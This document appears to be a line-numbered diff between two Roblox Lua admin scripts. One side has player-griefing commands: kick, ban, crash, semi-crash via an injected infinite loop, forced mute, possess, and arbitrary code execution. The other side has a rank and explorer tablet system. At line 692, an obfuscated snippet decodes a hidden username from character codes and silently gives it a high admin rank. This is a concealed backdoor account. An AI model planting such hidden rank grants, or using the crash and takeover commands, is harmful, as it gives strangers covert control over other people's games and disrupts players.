scr.Parent = Parent
373+
374-
wait()
374+
375-
scr.Disabled = false
375+
function All2()
376-
return scr
376+
	local AllPlayers2 = {}
377
	for i,v in pairs(Net:GetChildren()) do
378
		ypcall(function()
379-
else
379+
			if v:IsA("ServerReplicator") then
380-
Output("No source","Really red")
380+
				table.insert(AllPlayers2, v:GetPlayer())
381
			end
382
		end)
383-
function NewLS(SourceValue, Parent)
383+
	end
384-
if SourceName == "No_Source" then return end
384+
	return AllPlayers2
385-
if game.PlaceId == 54194680 then
385+
386-
NLS(SourceValue, Parent)
386+
387-
else
387+
function MakeNum()
388-
local NS = LSource:Clone()
388+
	return 2 + 4
389-
NS.Name = "NewLocal"
389+
390-
local Source = NS:findFirstChild(SourceName)
390+
391-
if Source == nil then 
391+
function ChangeRank(Plr, NewRank)
392-
Instance.new('StringValue',NS).Name = SourceName 
392+
	local PlrName = nil
393
	local FoundPlayer = false
394-
Source = NS:findFirstChild(SourceName)
394+
	ypcall(function()
395-
Source.Value = SourceValue
395+
		if type(Plr) == "string" then
396-
NS.Parent = Parent
396+
			ypcall(function()
397-
NS.Disabled = false
397+
				for i,v in pairs(Rankings) do
398-
return NS
398+
					if v.Name:lower() == Plr:lower() then
399
						local VName = v.Name
400
						Rankings[i] = nil
401-
function ShowBL()
401+
						table.insert(Rankings, {Name = VName, Rank = NewRank})
402-
Dismiss()
402+
						PlrName = VName
403-
for _,v in pairs(Banlist) do
403+
						FoundPlayer = true
404-
Output(v,nil, function() 
404+
						break
405-
Dismiss()
405+
					end
406-
Output(v)
406+
				end
407-
Output("Un-Ban","Really red", function()
407+
			end)
408-
table.remove(Banlist, _)
408+
			if FoundPlayer == false then
409
				ypcall(function()
410-
Output("Back","Really red", function()
410+
					for _,x in pairs(All()) do
411-
ShowBL()
411+
						if x.Name:lower() == Plr:lower() then
412
							FoundPlayer = true
413
							for i,v in pairs(Rankings) do
414
								if v.Name:lower() == x.Name:lower() then
415
									local VName = x.Name
416-
function ShowHBL()
416+
									Rankings[i] = nil
417-
Dismiss()
417+
									PlrName = VName
418-
for _,v in pairs(HardBanlist) do
418+
									break
419-
Output(v,nil, function() 
419+
								end
420-
Dismiss()
420+
							end
421-
Output(v)
421+
							table.insert(Rankings, {Name = VName, Rank = NewRank})
422-
Output("Un-Ban","Really red", function()
422+
						end
423-
table.remove(HardBanlist, _)
423+
					end
424
				end)
425-
Output("Back","Really red", function()
425+
			end
426-
ShowBL()
426+
			if FoundPlayer == false then
427
				ypcall(function()
428
					for _,x in pairs(All()) do
429
						if string.find(x.Name:lower(), Plr:lower()) then
430
							FoundPlayer = true
431-
function Connect(who)
431+
							for i,v in pairs(Rankings) do
432-
if who and who.Backpack then
432+
								if v.Name:lower() == x.Name:lower() then
433-
NewLS(ConnectSource, who.Backpack)
433+
									local VName = x.Name
434-
Output("Connected: "..who.Name)
434+
									Rankings[i] = nil
435
									PlrName = VName
436
									break
437-
function SmoothMovement()
437+
								end
438-
if char ~= nil then char = nil end
438+
							end
439-
wait()
439+
							table.insert(Rankings, {Name = VName, Rank = NewRank})
440-
if LocalPlayer.Character.Parent == nil then return end
440+
						end
441-
if LocalPlayer.Character == nil then return end
441+
					end
442-
char = LocalPlayer.Character
442+
				end)
443-
char.Torso.Anchored = true
443+
			end
444-
Mouse.KeyDown:connect(function(kai)
444+
			if FoundPlayer == false then
445-
if kai == "w" then
445+
				ypcall(function()
446-
key = "w"
446+
					for i,v in pairs(Rankings) do
447-
elseif kai == "s" then
447+
						if string.find(v.Name:lower(), Plr:lower()) then
448-
key = "s"
448+
							local VName = v.Name
449-
elseif kai == "a" then
449+
							Rankings[i] = nil
450-
key = "a"
450+
							table.insert(Rankings, {Name = VName, Rank = NewRank})
451-
elseif kai == "d" then
451+
							PlrName = VName
452-
key = "d"
452+
							FoundPlayer = true
453
							break
454
						end
455-
Mouse.KeyUp:connect(function(kai)
455+
					end
456-
if kai == "w" then
456+
				end)
457-
key = nil
457+
			end
458-
elseif kai == "s" then
458+
		else
459-
key = nil
459+
			for i,v in pairs(Rankings) do
460-
elseif kai == "a" then
460+
				if v.Name:lower() == Plr.Name:lower() then
461-
key = nil
461+
					Rankings[i] = nil
462-
elseif kai == "d" then
462+
					break
463-
key = nil
463+
				end
464
			end
465
			table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
466-
while wait() do
466+
			PlrName = Plr.Name
467-
if char == nil then break end
467+
		end
468-
if key == "w" then
468+
		PlaceAllRanks(true)
469-
if char == nil then break end
469+
	end)
470-
char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,-0.5)
470+
	if PlrName ~= nil then
471-
elseif key == "s" then
471+
		return PlrName
472-
if char == nil then break end
472+
	else
473-
char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0,0,0.5)
473+
		return "Player"
474-
elseif key == "a" then
474+
	end
475-
if char == nil then break end
475+
476-
char.Torso.CFrame = char.Torso.CFrame * CFrame.new(-0.5,0,0)
476+
477-
char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,0.5,0)
477+
function Refresh(Plr)
478-
elseif key == "d" then
478+
	MakeChildren(Plr)
479-
if char == nil then break end
479+
480-
char.Torso.CFrame = char.Torso.CFrame * CFrame.new(0.5,0,0)
480+
481-
char.Torso.CFrame = char.Torso.CFrame * CFrame.Angles(0,-0.5,0)
481+
function MakeChildren(Plr)
482
	ypcall(function()
483
		Dismiss(Plr)
484
		for _,v in pairs(Current:GetChildren()) do
485-
function Explore(part)
485+
			ypcall(function()
486-
Dismiss()
486+
				if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
487-
if part == nil then
487+
					Ping(v.Name, Plr, nil, function(TabMod)
488-
for _,v in pairs(Services) do
488+
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
489-
Output(v.Name,nil,function() Explore(v) end)
489+
						for _,v in pairs(Current:GetChildren()) do
490
							ypcall(function()
491-
else
491+
								if v.Name == TabText then
492-
for _,v in pairs(part:children()) do
492+
									Dismiss(Plr)
493-
Output(v.Name,nil,function() Explore(v) end)
493+
									Current = v
494
									MakeChildren(Plr)
495-
wait()
495+
								end
496-
Output("Currently exploring: "..part.Name,"Really red")
496+
							end)
497-
Output("Class name: "..part.ClassName,"Really red")
497+
						end
498-
Output("Destroy","Really red",function() part:Destroy() Explore(part.Parent) end)
498+
					end)
499-
Output("Remove","Really red",function() part:remove() Explore(part.Parent) end)
499+
				elseif Plrs:GetPlayerFromCharacter(v) then
500
					Ping(v.Name, Plr, nil, function(TabMod)
501
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
502-
function appear(pos)
502+
						for _,v in pairs(Current:GetChildren()) do
503-
local parts = {}
503+
							ypcall(function()
504-
local frames = appearTime / (1 / 30)
504+
								if v.Name == TabText then
505-
local t = 1
505+
									Dismiss(Plr)
506-
if pos == nil then pos = CFrame.new(0, 25, 0) end
506+
									Current = v
507-
for i=1,500 do
507+
									MakeChildren(Plr)
508-
local p = Instance.new("Part", game.Workspace)
508+
								end
509-
p.Anchored = true
509+
							end)
510-
p.CanCollide = false
510+
						end
511-
p.formFactor = 3
511+
					end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
512-
p.Size = Vector3.new(1, 1, 1)
512+
				elseif CheckImportant(v.Name) then
513-
p.TopSurface = 0
513+
					Ping(v.Name, Plr, nil, function(TabMod)
514-
p.BottomSurface = 0
514+
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
515-
p.BrickColor = BrickColor.random()
515+
						for _,v in pairs(Current:GetChildren()) do
516-
local x, y, z = math.random(-10, 10) / 100, math.random(-10, 10) / 100, math.random(-10, 10) / 100
516+
							ypcall(function()
517-
p.CFrame = pos * CFrame.new(x * frames, y * frames, z * frames)
517+
								if v.Name == TabText then
518-
local mesh = Instance.new("SpecialMesh", p)
518+
									Dismiss(Plr)
519-
mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
519+
									Current = v
520-
mesh.Scale = Vector3.new(0.9, 0.9, 0.9)
520+
									MakeChildren(Plr)
521-
table.insert(parts, {p, CFrame.new(-x, -y, -z) * CFrame.Angles(x, y, z)})
521+
								end
522
							end)
523-
for i=1,frames do
523+
						end
524-
local _, duration = runService.Stepped:wait()
524+
					end, ImportantColor)
525-
for i,v in pairs(parts) do
525+
				end
526-
if v[1].Parent then
526+
			end)
527-
v[1].CFrame = v[1].CFrame * v[2]
527+
		end
528-
v[1].Transparency = t
528+
		if Current ~= game then
529
			Ping("Back", Plr, nil, function()
530
				ypcall(function()
531-
t = t - (appearTime / frames)
531+
					Current = Current.Parent
532
					MakeChildren(Plr)
533-
for i,v in pairs(parts) do
533+
					Ping("You Are Back To "..Current.Name, Plr, 5)
534-
if v[1].Parent then
534+
				end)
535-
v[1]:remove()
535+
			end, OptionColor)
536
		end
537
		if Current ~= game then
538
			Ping("Delete", Plr, nil, function()
539-
--[[COMMANDS]]--
539+
				ypcall(function()
540-
AddCmd("Ping","ping","Ping something",
540+
					local CurrPar = Current.Parent or game
541-
function(nothing, msg)
541+
					local CurrName = Current.Name
542-
Output(tostring(msg))
542+
					Current:Destroy()
543
					Current = CurrPar
544-
)
544+
					MakeChildren(Plr)
545-
AddCmd("Commands","cmds","Show all commands",
545+
					Ping("Attempted To Delete "..CurrName, Plr, 5)
546-
function()
546+
				end)
547-
ShowCmds()
547+
			end, OptionColor)
548
		end
549-
)
549+
		Ping("Refresh", Plr, nil, function()
550-
AddCmd("#Commands","#cmds","Show the number of commands",
550+
			ypcall(function()
551-
function()
551+
				Refresh(Plr)
552-
Output(tostring(#Cmds))
552+
				Ping("Refreshed", Plr, 5)
553-
end	
553+
			end)
554-
)
554+
		end, OptionColor)
555-
AddCmd("Dismiss","dt","Dismiss tabs",
555+
		Ping("Properties", Plr, nil, function()
556-
function()
556+
			ypcall(function()
557-
Dismiss()
557+
				Dismiss(Plr)
558
				for Property, Value in pairs(GetProperties(Current)) do
559-
)
559+
					Ping(tostring(Property)..": "..tostring(Value), Plr)
560-
AddCmd("Toggle tabs visibility","hid","Make the tabs visible/invisible",
560+
				end
561-
function(nothing, msg)
561+
				Ping("Got All Available Properties", Plr, 5)
562-
if msg == "on" then
562+
				Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
563-
HiddenTablets = true
563+
			end)
564-
TabModel.Parent = workspace.CurrentCamera
564+
		end, OptionColor)
565-
TabModelParent = workspace.CurrentCamera
565+
	end)
566-
Output("Tabs are hidden","Really red")
566+
567-
elseif msg == "off" then
567+
568-
HiddenTablets = false
568+
function Fixl()
569-
TabModel.Parent = workspace
569+
	Light.GlobalShadows = true
570-
TabModelParent = workspace
570+
	Light.TimeOfDay = "14:00:00"
571-
Output("Tabs are visible","Really red")
571+
	Light.Brightness = 0.5
572-
else
572+
	Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
573-
Output("Use on/off to toggle tab visibility","Really red")
573+
	Light.Ambient = Color3.new(1, 1, 1) 
574
	Light.ColorShift_Top = Color3.new(0, 0, 0)
575
	Light.ColorShift_Bottom = Color3.new(0, 0, 0)
576-
)
576+
	Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
577-
AddCmd("Execute","exe","Execute",
577+
	Light.FogStart = 0
578-
function(nothing, msg)
578+
	Light.FogEnd = 100000
579-
a,b = ypcall(function()
579+
	Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
580-
loadstring(msg)()
580+
	Light:ClearAllChildren()
581
end
582-
if not a then Output(b,"Really red") end
582+
583
function GetProperties(obj)
584-
)
584+
	assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
585-
AddCmd("Toggle local block","tlb","Toggle local block on/off",
585+
	local objProper = {}
586-
function(nothing, msg)
586+
	for i,v in pairs(Properties) do
587-
if msg == "on" then
587+
		if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
588-
LBlock = true
588+
			objProper[v] = obj[v]
589-
Output("Local block on","Really red")
589+
		end
590-
elseif msg == "off" then
590+
	end
591-
LBlock = false
591+
	return objProper
592-
Output("Local block off")
592+
593-
else
593+
594-
Output("Use on/off to toggle local block","Really red")
594+
function MakeExplorer(Plr)
595
	Dismiss(Plr)
596
	Current = game
597-
)
597+
	for _,v in pairs(Current:GetChildren()) do
598-
AddCmd("Kick","kick","Kick player",
598+
		ypcall(function()
599-
function(Plrs)
599+
			if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
600-
for _, plr in pairs(Plrs) do
600+
				Ping(v.Name, Plr, nil, function(TabMod)
601-
if plr then
601+
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
602-
NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
602+
					for _,v in pairs(Current:GetChildren()) do
603
						ypcall(function()
604
							if v.Name == TabText then
605
								Dismiss(Plr)
606-
)
606+
								Current = v
607-
AddCmd("Banlist","bl","Show banned players",
607+
								MakeChildren(Plr)
608-
function()
608+
							end
609-
ShowBL()
609+
						end)
610
					end
611-
)
611+
				end)
612-
AddCmd("Hard Banlist","hbl","Show hard banned players",
612+
			elseif Plrs:GetPlayerFromCharacter(v) then
613-
function()
613+
				Ping(v.Name, Plr, nil, function(TabMod)
614-
ShowHBL()
614+
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
615
					for _,v in pairs(Current:GetChildren()) do
616-
)
616+
						ypcall(function()
617-
AddCmd("Semi-Crash","scrash","Semi-crash a player",
617+
							if v.Name == TabText then
618-
function(Plrs)
618+
								Dismiss(Plr)
619-
for _,plr in pairs(Plrs) do
619+
								Current = v
620-
if plr and plr.Backpack then
620+
								MakeChildren(Plr)
621-
NewLS("repeat until false",plr.Backpack)
621+
							end
622
						end)
623
					end
624
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
625-
)
625+
			elseif CheckImportant(v.Name) then
626-
AddCmd("Crash","crash","Crash a player (use nil to crash nil players)",
626+
				Ping(v.Name, Plr, nil, function(TabMod)
627-
function(nothing, msg)
627+
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
628-
local a = Instance.new("StringValue", game.Lighting)
628+
					for _,v in pairs(Current:GetChildren()) do
629-
a.Name = "DISC: "..msg
629+
						ypcall(function()
630-
game:service'Debris':AddItem(a, 3)
630+
							if v.Name == TabText then
631
								Dismiss(Plr)
632-
)
632+
								Current = v
633-
AddCmd("Mute","mute","Block player's chat",
633+
								MakeChildren(Plr)
634-
function(Plrs)
634+
							end
635-
for _, plr in pairs(Plrs) do
635+
						end)
636-
if plr and plr.Backpack then
636+
					end
637-
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
637+
				end, ImportantColor)
638
			end
639
		end)
640
	end
641-
)
641+
	if Current ~= game then
642-
AddCmd("Un-Mute","unmute","Un-Block player's chat",
642+
		Ping("Back", Plr, nil, function()
643-
function(Plrs)
643+
			ypcall(function()
644-
for _, plr in pairs(Plrs) do
644+
				Current = Current.Parent
645-
if plr and plr.Backpack then
645+
				MakeChildren(Plr)
646-
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
646+
				Ping("Back In "..Current.Name, Plr, 5)
647
			end)
648
		end, OptionColor)
649
	end
650-
)
650+
	if Current ~= game and game:GetService(Current.Name) == nil then
651-
AddCmd("Clean","clean","Clean workspace",
651+
		Ping("Delete", Plr, nil, function()
652-
function()
652+
			ypcall(function()
653-
for _,v in pairs(workspace:children()) do
653+
				local CurrPar = Current.Parent or game
654-
if v.Name ~= "Terrain" then
654+
				local CurrName = Current.Name
655-
v:Destroy()
655+
				Current:Destroy()
656
				Current = CurrPar
657
				MakeChildren(Plr)
658-
NewS("for _,v in pairs(game:service'Players':children()) do if v:IsA('Player') then v:LoadCharacter() end end", workspace)
658+
				Ping("Attempted To Delete "..CurrName, Plr, 5)
659-
local base = Instance.new("Part", workspace)
659+
			end)
660-
base.Anchored = true
660+
		end, OptionColor)
661-
base.Size = Vector3.new(1000,1.2,1000)
661+
	end
662-
base.BrickColor = BrickColor.new("Dark green")
662+
	Ping("Refresh", Plr, nil, function()
663-
base.Material = "Grass"
663+
		ypcall(function()
664
			Refresh(Plr)
665-
)
665+
			Ping("Refreshed", Plr, 5)
666-
AddCmd("Remove","cremove","Remove the script",
666+
		end)
667-
function()
667+
	end, OptionColor)
668-
for i = 0,50,1 do
668+
	Ping("Properties", Plr, nil, function()
669-
pcall(function()
669+
		ypcall(function()
670-
for j,k in pairs(getfenv(i)) do
670+
			Dismiss(Plr)
671-
getfenv(i)[j] = nil
671+
			for Property, Value in pairs(GetProperties(Current)) do
672
				Ping(tostring(Property)..": "..tostring(Value), Plr)
673
			end
674
			Ping("Got All Available Properties", Plr, 5)
675
			Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
676-
)
676+
		end)
677-
AddCmd("Script","c","Script something",
677+
	end, OptionColor)
678-
function(nothing, msg)
678+
679-
if found then
679+
680-
NewS(msg,workspace)
680+
function GetRank(Plr1, Test)
681-
else
681+
	ypcall(function()
682-
Output("No source","Really red")
682+
		if type(Plr1) == "userdata" then
683
			Plr1 = Plr1.Name
684
		end
685-
)
685+
	end)
686-
AddCmd("Kill","kill","Kill player",
686+
	if Ranks[Plr1] ~= nil then
687-
function(Plrs)
687+
		return Ranks[Plr1]
688-
for _, plr in pairs(Plrs) do
688+
	end
689-
if plr and plr.Character then
689+
	local QuickArray = {}
690-
plr.Character:breakJoints''
690+
	QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
691
	return QuickArray[Plr1]
692
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
693
694-
)
694+
function CanRun(Plr1, Plr2)
695-
AddCmd("NewLocal","newlocal","Inserts a new local in someones backpack",
695+
	Details1 = GetRank(Plr1.Name)
696-
function(Plrs, msg)
696+
	Details2 = GetRank(Plr2.Name)
697-
local KeyPos = msg:find(Key)
697+
	if Details1.Rank >= Details2.Rank then
698-
local TargPlrs = msg:sub(1,KeyPos-1)
698+
		return true
699-
local Plrs = GetPlayers(TargPlrs)
699+
	end
700-
local Srce = msg:sub(KeyPos+1)
700+
	return false
701-
for _,plr in pairs(Plrs) do
701+
702-
if plr and plr.Backpack then
702+
703-
NewLS(Srce, plr.Backpack)
703+
function Dismiss(Plr, Identity)
704
	ypcall(function()
705
		if Plr ~= nil then
706
			if type(Plr) == "userdata" then
707-
)
707+
				Plr = Plr.Name
708-
AddCmd("Ban","ban","Bans a player",
708+
			end
709-
function(Plrs)
709+
			for x,v in pairs(AllTabs) do
710-
for _, plr in pairs(Plrs) do
710+
				ypcall(function()
711-
if plr and plr.Backpack then
711+
					if v.Plr == Plr then
712-
Banlist[#Banlist +1] = plr.Name
712+
						if Identity ~= nil and v.ID ~= Identity then
713-
NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
713+
							return
714
						elseif Identity ~= nil and v.ID == Identity then
715
							coroutine.resume(coroutine.create(function()
716
								for i = 0.5, 1, 0.1 do
717-
)
717+
									wait()
718-
AddCmd("Rejoin","rj","Rejoins a player",
718+
									v.Tab.Transparency = i
719-
function(Plrs)
719+
									v.Sel.Transparency = i
720-
for _,plr in pairs(Plrs) do
720+
									v.Label.TextTransparency = i
721-
if plr and plr.Character then
721+
									v.Label.TextStrokeTransparency = i
722-
if SourceName == "source" then
722+
								end
723-
Output("This is Alakazards scriptbuilder. TPService is disabled here! Can't TP!","Really red")
723+
								ypcall(function() v.Holder:Destroy() end)
724
								AllTabs[x] = nil
725-
if SourceName ~= "source" then 
725+
							end))
726-
NewLS([[game:GetService('TeleportService'):Teleport(game.PlaceId)]],plr.Character)
726+
						elseif Identity == nil then
727
							ypcall(function() v.Holder:Destroy() end)
728
							AllTabs[x] = nil
729
						end
730
					end
731-
)
731+
				end)
732-
AddCmd("Ban","ban","Bans a player",
732+
			end
733-
function(Plrs)
733+
		else
734-
for _, plr in pairs(Plrs) do
734+
			for i,v in pairs(AllTabs) do
735-
if plr and plr.Backpack then
735+
				ypcall(function()
736-
Banlist[#Banlist+1] = plr.Name
736+
					v.Holder:Destroy()
737
					AllTabs[i] = nil
738
				end)
739
			end
740-
)
740+
		end
741-
AddCmd("Chat","chat","Turns chat on/off",
741+
	end)
742-
function(nothing, msg)
742+
743-
if msg == "on" then
743+
744-
ChatGui = true
744+
function GetGarbage()
745-
elseif msg == "off" then
745+
	return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
746-
ChatGui = false
746+
747
748
function RemObj(Obj, Class)
749-
)
749+
	ypcall(function()
750-
AddCmd("GetAge","ga","Get age of a player",
750+
		if #Obj:GetChildren() > 0 then
751-
function(Plrs)
751+
			for _,x in pairs(Obj:GetChildren()) do
752-
for _, plr in pairs(Plrs) do
752+
				ypcall(function()
753-
if plr then
753+
					RemObj(x, Class)
754-
Output(plr.Name..": "..tostring(plr.AccountAge))
754+
				end)
755
			end
756
		end
757
		if Obj.ClassName == Class then
758-
AddCmd("Hint","h","Show some hint",
758+
			Obj:Destroy()
759-
function(nothing, msg)
759+
		end
760-
if found then
760+
	end)
761-
NewS([[
761+
762-
a = Instance.new("Hint", workspace)
762+
763-
msg = "]]..msg..[["
763+
function FindTab(Mod)
764-
msg = msg:gsub("","\5")
764+
	for i,v in pairs(AllTabs) do
765-
game:service'Debris':AddItem(a, 5)
765+
		if v.Holder == Mod then
766-
while wait() do
766+
			return true
767-
for i = 30,0,-1 do
767+
		end
768-
a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
768+
	end
769-
wait()
769+
	return false
770
end
771-
for i = 0,30,1 do
771+
772-
a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
772+
function Ping(Msg, Plr, Time, Func, Color, Image)
773-
wait()
773+
	if Removed == false then
774
		local ShowGarbage = false
775
		ypcall(function()
776-
]], workspace)
776+
			if Msg == nil then
777
				Msg = "N/A"
778
			elseif Msg == "ShowGarbage" then
779-
)
779+
				Msg = "Current Garbage Count: "..GetGarbage()
780-
AddCmd("Message","m","Show a message",
780+
				ShowGarbage = true
781-
function(nothing, msg)
781+
			else
782-
if found then
782+
				Msg = tostring(Msg)
783-
NewS([[
783+
			end
784-
a = Instance.new("Message", workspace)
784+
			if Plr == nil then
785-
msg = "]]..msg..[["
785+
				Plr = Plrs[Owner] or error("No Player Found")
786-
msg = msg:gsub("","\5")
786+
			elseif type(Plr) == "string" then
787-
game:service'Debris':AddItem(a, 5)
787+
				local FoundPlr = false
788-
while wait() do
788+
				for _,v in pairs(All()) do
789-
for i = 30,0,-1 do
789+
					if v.Name == Plr then
790-
a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
790+
						Plr = v
791-
wait()
791+
						FoundPlr = true
792
						break
793-
for i = 0,30,1 do
793+
					end
794-
a.Text = "-->"..string.rep(" ",i)..msg..string.rep(" ",i).."<--"
794+
				end
795-
wait()
795+
				if FoundPlr == false then
796
					Plr = Plrs[Owner] or error("No Player Found")
797
				end
798-
]], workspace)
798+
			end
799
			
800
			if Color == nil then
801-
)
801+
				Color = GetRank(Plr.Name).Color
802-
AddCmd("Char","char","Be a character",
802+
			end
803-
function()
803+
			
804-
if LocalPlayer.Parent == game.Players then return end
804+
			local Holder = Instance.new("Model")
805-
if LocalPlayer.Character~= nil then
805+
			Holder.Name = "DVF Holder: "..Plr.Name
806-
LocalPlayer.Character:Destroy()
806+
			
807
			local Tab = Instance.new("Part")
808-
char = nil
808+
			Tab.Name = "DVF Tablet"
809-
appear(CFrame.new(0,25,0))
809+
			Tab.FormFactor = "Custom"
810-
local a = Char:Clone()
810+
			Tab.Anchored = true
811-
a.Parent = workspace
811+
			if Time == nil then
812-
a.Torso.CFrame = CFrame.new(0,25,0)
812+
				Tab.Color = Color
813-
LocalPlayer.Character = a
813+
			else
814-
workspace.CurrentCamera.CameraType = "Custom"
814+
				Tab.Color = AlertColor
815-
workspace.CurrentCamera.CameraSubject = a.Humanoid
815+
			end
816-
wait(5)
816+
			Tab.CanCollide = false
817-
SmoothMovement()
817+
			Tab.Locked = true
818
			Tab.Transparency = 0.15
819-
)
819+
			Tab.Size = Vector3.new(2, 2, 0.01)
820-
AddCmd("Refresh 'nil smooth movement'","rnsm","Refresh the movement when you are nil",
820+
			Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
821-
function()
821+
			Tab.Parent = Holder
822-
if LocalPlayer.Parent == nil then
822+
			
823-
char = nil
823+
			local ID = Instance.new("NumberValue")
824-
wait()
824+
			ID.Name = "ID"
825-
SmoothMovement()
825+
			ID.Value = math.random(-999999999, 999999999)
826-
else
826+
			ID.Parent = Holder
827-
Output("You are not nil.","Really red")
827+
			
828
			Delay(0, function()
829
				while wait() do
830-
)
830+
					if Tab.Parent == nil and FindTab(Holder) then
831-
AddCmd("Go nil","gn","Go to nil player mode",
831+
						ypcall(function()
832-
function()
832+
							for i,v in pairs(AllTabs) do
833-
LocalPlayer.Parent = nil
833+
								if v.Holder == Holder then
834-
appear(CFrame.new(0,25,0))
834+
									ypcall(function() v.Holder:Destroy() end)
835-
local a = Char:Clone()
835+
									AllTabs[i] = nil
836-
a.Torso.CFrame = CFrame.new(0,25,0)
836+
								end
837-
a.Parent = workspace
837+
							end
838-
LocalPlayer.Character = a
838+
						end)
839-
workspace.CurrentCamera.CameraType = "Custom"
839+
						Ping(Msg, Plr, Time, Func, Color, Image)
840-
workspace.CurrentCamera.CameraSubject = a.Humanoid
840+
						break
841-
wait(5)
841+
					end
842-
SmoothMovement()
842+
				end
843
			end)
844-
)
844+
			
845-
AddCmd("Fix camera","fcam","Fix your camera",
845+
			local BM = Instance.new("BlockMesh")
846-
function()
846+
			BM.Parent = Tab
847-
workspace.CurrentCamera.CameraType = "Custom"
847+
848-
workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
848+
			Sel = Instance.new("SelectionBox")
849
			Sel.Color = BrickColor.new("Institutional white")
850-
)
850+
			Sel.Transparency = 0.75
851-
AddCmd("Nils","nilp","Get nil players",
851+
			Sel.Adornee = Tab
852-
function()
852+
			Sel.Parent = Tab
853-
NewS([[
853+
854-
Model = Instance.new("Model", game.Lighting)
854+
			local BG = Instance.new("BillboardGui")
855-
Model.Name = "SolarAdminNilPlayers"
855+
			BG.Name = "BG"
856-
for _,v in pairs(game:service'NetworkServer':children()) do
856+
			BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
857-
if v:GetPlayer() then
857+
			BG.Size = UDim2.new(0,1,0,1)
858-
if v:GetPlayer().Parent ~= game:service'Players' then
858+
			BG.Adornee = Tab
859-
Instance.new("StringValue",Model).Value = v:GetPlayer().Name
859+
			BG.Parent = Tab
860
			
861
			Delay(0, function()
862
				while BG.Parent ~= nil do wait()
863-
]], workspace)
863+
					ypcall(function()
864-
wait()
864+
						BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
865-
np = nil
865+
					end)
866-
for i = 0,5,1 do
866+
				end
867-
if game.Lighting:findFirstChild("SolarAdminNilPlayers") then
867+
			end)
868-
np = game.Lighting:findFirstChild("SolarAdminNilPlayers")
868+
869-
break
869+
			local TL = Instance.new("TextLabel")
870
			TL.Name = "TL"
871-
wait(0.1)
871+
			TL.FontSize = "Size18"
872
			TL.Font = "Arial"
873-
if np ~= nil then
873+
			TL.Text = Msg
874-
Dismiss()
874+
			TL.TextColor3 = Color3.new(1, 0, 0)
875-
for _,v in pairs(np:children()) do
875+
			TL.Size = UDim2.new(0,1,0,1)
876-
if v:IsA("StringValue") then
876+
			TL.TextTransparency = 0
877-
Output(v.Value,"Really red")
877+
			TL.TextStrokeColor3 = Color3.new(0, 0, 0)
878
			TL.TextStrokeTransparency = 0.25
879
			TL.Parent = BG
880-
elseif np == nil then
880+
			
881-
Output("Something went wrong.","Really red")
881+
			if ShowGarbage == true then
882
				Delay(0, function()
883
					while TL.Parent ~= nil do
884-
)
884+
						TL.Text = "Current Garbage Count: "..GetGarbage()
885-
AddCmd("Possess","ps","Possess a player",
885+
						wait(.5)
886-
function(Plrs)
886+
					end
887-
for _, plr in pairs(Plrs) do
887+
				end)
888-
if plr and plr.Character then
888+
			end
889-
LocalPlayer.Character = plr.Character
889+
			
890-
workspace.CurrentCamera.CameraType = "Custom"
890+
			local PL = Instance.new("PointLight", Tab)
891-
workspace.CurrentCamera.CameraSubject = plr.Character.Humanoid
891+
			PL.Color = Color3.new(1, 0, 1)
892
			PL.Range = 15
893
			PL.Parent = Tab
894
			
895-
)
895+
			if Image ~= nil then
896-
AddCmd("'Hard' ban","hb","Hard ban a player",
896+
				local BBBG = Instance.new("BillboardGui")
897-
function(Plrs)
897+
				BBBG.Size = UDim2.new(5, 0, 6, 0)
898-
for _, plr in pairs(Plrs) do
898+
				BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
899-
if plr then
899+
				BBBG.AlwaysOnTop = true
900-
HardBanlist[#HardBanlist+1] = plr.Name
900+
				BBBG.Adornee = Tab
901-
NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
901+
				BBBG.Parent = Tab
902-
for i = 0,10,1 do 
902+
				
903-
Notify("Hard Banned "..plr.Name.."!")
903+
				Delay(0, function()
904
					while BBBG.Parent ~= nil do wait()
905
						ypcall(function()
906
